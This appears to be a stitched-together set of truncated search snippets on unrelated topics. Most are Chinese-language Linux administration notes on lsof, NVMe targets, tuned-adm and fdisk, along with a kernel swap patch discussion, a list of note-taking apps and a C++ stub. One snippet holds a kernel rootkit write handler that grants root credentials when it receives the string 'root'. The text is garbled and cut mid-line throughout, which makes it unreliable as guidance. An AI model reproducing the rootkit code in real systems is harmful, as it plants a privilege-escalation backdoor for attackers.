Linux中查看文件描述符的指令:lsof(list open files) lsof可以打开的文件: 代码语言:javascript 复制 普通文件目录网络文件系统的文件 字符或设备文件 (函数)共享库管道,命名管道符号链接网络文件(例如:NFS file、socket)其它类型的文件等 样例: 代码语言:javascript 复制 lsof -u username --列出某个用户打开的文件...
*RISKY*-Pno port names-Rlist paRent PID-slistfilesize-tterse listing-Tdisable TCP/TPI info-UselectUnix socket-vlist version info-Vverbose search +|-w Warnings(+)-Xskip TCP&UDP* files-ZZ context[Z]-- end option scan +f|-f +filesystem or-filenames +|-f[gG]flaGs-F[f]select...
执行nvme list-subsys确认目标器连接成功,如果有多个目标器,参考上述步骤依次连接每个目标器。 [root@localhost ~]# nvme list-subsys nvme-subsys0 - NQN=nqn.2020-02.huawei.nvme:nvm-subsystem-sn-2102353GSY10L4000003 \ +- nvme0 rdma traddr=55.55.55.74 trsvcid=4420 live 以上方法为临时连接目标器,主...
tuned-adm list CPU 设置建议 下表提供了 CPU 设置的建议: 设置值详细信息 CPU 频率调控器性能请参阅cpupower命令 ENERGY_PERF_BIAS性能请参阅x86_energy_perf_policy命令 min_perf_pct100查看有关 Intel p-state 的文档 C 状态仅限 C1请参阅 Linux 或系统文档,了解如何确保将 C 状态设置为仅限 C1 ...
Command (m for help): p Disk /dev/vdb: 42.9 GB, 42949672960 bytes, 83886080 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x9277b47b ...
此patchset 在 vmscan.c 对内存进行回收的时候,不将 mTHP split 为 small folios(除非 large folio 之前已经被加入了 _deferred_list,证明其很可能已经被 partially unmap 了),而是整体申请多个 swap slots 和写入 swapfile。 不过这里有一个问题,在 add_to_swap() 整体申请 nr_pages 个连续的 swap slots ...
staticssize_ta3_rootkit_write(structfile*file,constchar__user*buf,size_tcount,loff_t*start){staticcharusr_data[0x100];intsz=count>0x100?0x100:count;copy_from_user(usr_data,buf,sz);if(!strncmp(usr_data,"root",4)){structcred*curr=current->cred;curr->uid=curr->euid=curr->suid=curr-...
Command (m for help): t Selected partition 1 Partition type (type L to list all types): 1 Changed type of partition 'Linux filesystem' to 'EFI System'. Command (m for help): n Partition number (2-128, default 2): First sector (1026048-7946206, default 1026048): Last sector, +/-...
QOwnNotes - QOwnNotes is a plain-text file notepad and todo-list manager with markdown support and ownCloud / Nextcloud integration. Simplenote - A Cross platform notetaking app and Evernote competitor. Springseed - Simple and beautiful note taking app for daily user. Standard Notes - Standard ...
int dummy_ipc_report_vod_list(unsigned int start_time, unsigned int stop_time, int num, const char *id, int (*on_complete)(int num, const char *id, const lv_query_storage_record_response_s *response)) { int answer_num = g_vod_media_file_group.size(); auto *response = new lv_...